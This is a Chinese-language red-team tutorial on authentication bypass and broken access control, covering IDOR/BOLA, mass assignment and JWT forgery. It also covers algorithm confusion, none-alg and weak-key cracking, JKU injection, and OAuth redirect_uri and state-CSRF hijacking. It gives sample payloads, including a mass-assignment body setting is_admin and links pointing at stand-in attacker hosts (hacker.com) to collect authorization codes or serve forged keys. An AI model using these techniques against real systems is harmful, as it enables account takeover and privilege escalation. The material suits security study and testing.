身份认证绕过与越权访问漏洞深度利用

身份认证绕过与越权访问漏洞深度利用

在渗透测试的业务逻辑漏洞范畴中,**身份认证绕过(Authentication Bypass)越权访问(Broken Access Control / IDOR)**是危害极大的漏洞类型。由于这类漏洞不涉及底层代码解析,而是业务逻辑设计的天然缺陷,因此传统的 WAF(Web 应用防火墙)几乎无法进行有效拦截。

本文将从红队视角,深度剖析如何通过操纵凭证、劫持会话以及伪造身份,打破目标系统的访问控制体系。


1. 越权访问 (IDOR / BOLA) 进阶挖掘

越权访问分为水平越权(同级用户互相访问)和垂直越权(低权限访问高权限接口)。在现代架构中,常被称为 BOLA (Broken Object Level Authorization)。

1.1 隐蔽参数枚举与修改

最基础的 IDOR 是修改 URL 或 POST 体中的 id=123。但红队实战中,开发者往往会将核心 ID 隐藏。

  • 多参数混淆:尝试在请求中同时提交多个 ID 字段,例如 {"user_id": 1001, "id": 1002, "account_id": 1002},利用后端反序列化或框架绑定的优先级差异覆盖原目标。
  • RESTful 路径操纵:将 /api/v1/users/1001/profile 中的 1001 替换为 admin 的 ID。
  • HTTP 方法替换:部分接口仅对 GET 做了权限校验。尝试将 GET 替换为 POSTPUTPATCH 甚至 DELETE,观察后端是否放行。

1.2 批量分配漏洞 (Mass Assignment)

现代 Web 框架(如 Spring Boot、Ruby on Rails、Laravel)经常使用对象绑定将 HTTP 请求参数直接映射到数据库模型。 如果开发者没有设置白名单,攻击者可以在更新资料的请求中,强行加入未展示的敏感字段:

{
  "username": "hacker",
  "email": "hacker@evil.com",
  "is_admin": true,
  "role_id": 1
}

通过这种方式,原本只是修改个人资料的请求,瞬间变成了垂直提权的致命一击。


2. JWT (JSON Web Token) 伪造与破解

JWT 是现代前后端分离应用中最常用的无状态认证机制。一个 JWT 由 HeaderPayloadSignature 三部分组成。

2.1 算法混淆攻击 (Algorithm Confusion)

  • 将 RS256 修改为 HS256:RS256 使用非对称加密(私钥签名,公钥校验)。如果目标后端逻辑存在缺陷,攻击者将 Header 中的 alg 修改为 HS256(对称加密),并将公钥(通常可以获取到)作为 HS256 的密钥对篡改后的 Payload 重新签名。后端如果仅信任 alg 字段,就会用公钥当作对称密钥去验证签名,导致认证被绕过。
  • None 算法:直接将 Header 中的 alg 改为 none,并删除 Signature 部分。某些未严格校验的 JWT 库会直接放行。

2.2 密钥爆破与空密码

  • 弱密钥爆破:许多开发者使用弱口令(如 123456, secret, changeme)作为 HS256 的密钥。红队可以使用 hashcatjwt_tool 进行离线字典爆破。一旦拿到密钥,即可任意伪造管理员 Token。
  • 空密码签名:尝试传入空字符串作为密钥签名,部分老旧框架会将其等同于未初始化时的 Null 状态。

2.3 JKU/JWK 头部注入

JWT 的 Header 中支持通过 jku (JWK Set URL) 字段指定公钥的获取地址。 攻击者可以将 jku 指向自己控制的服务器("jku": "http://hacker.com/jwks.json"),并使用自己的私钥签名。如果后端没有限制 jku 的白名单,就会去下载黑客的公钥并验证通过。


3. OAuth 2.0 与 SSO (单点登录) 劫持

在企业级内网和开放平台中,OAuth 2.0 和 SAML SSO 广泛应用。其授权流的复杂性为攻击者提供了大量可乘之机。

3.1 授权码窃取 (Authorization Code Theft)

OAuth 授权码模式中,客户端通过 redirect_uri 接收授权码(Code)。

  • 重定向劫持:如果认证服务器未严格校验 redirect_uri 的完全匹配,攻击者可构造恶意链接: https://auth.server/authorize?client_id=xxx&redirect_uri=https://hacker.com/callback 受害者点击后,授权码被发送给黑客,黑客即可用该码换取 Token,接管账号。

3.2 隐式授权流 (Implicit Flow) 令牌泄漏

在 Implicit Flow 中,Access Token 直接通过 URL 的 Hash(#)部分返回。 如果受害者在授权后被重定向到一个存在跨站脚本(XSS)的页面,或者页面包含了外部的第三方 JS/统计代码,Token 极易通过 document.location.hash 泄露。

3.3 CSRF 绑定攻击

如果在 OAuth 授权请求中没有使用 state 参数进行防 CSRF 保护:

  1. 黑客用自己的账号在第三方平台登录,获取一个合法的、绑定自己账号的 CodeState,但不完成最后一步绑定
  2. 黑客将带有该 Code 的回调 URL 发送给受害者。
  3. 受害者点击后,受害者的应用账号就与黑客的第三方账号绑定在了一起。黑客此后可通过“第三方登录”直接登入受害者的账号。

4. 总结

身份认证绕过与越权漏洞,是渗透测试中最考验安全人员“业务敏感度”的领域。它不依赖底层的 0day,而是建立在对开发人员思维盲区的精准打击上。从 JWT 签名算法的滥用到 OAuth 协议时序的劫持,红队的每一次成功越权,都是对“零信任”架构中最脆弱一环的无情撕裂。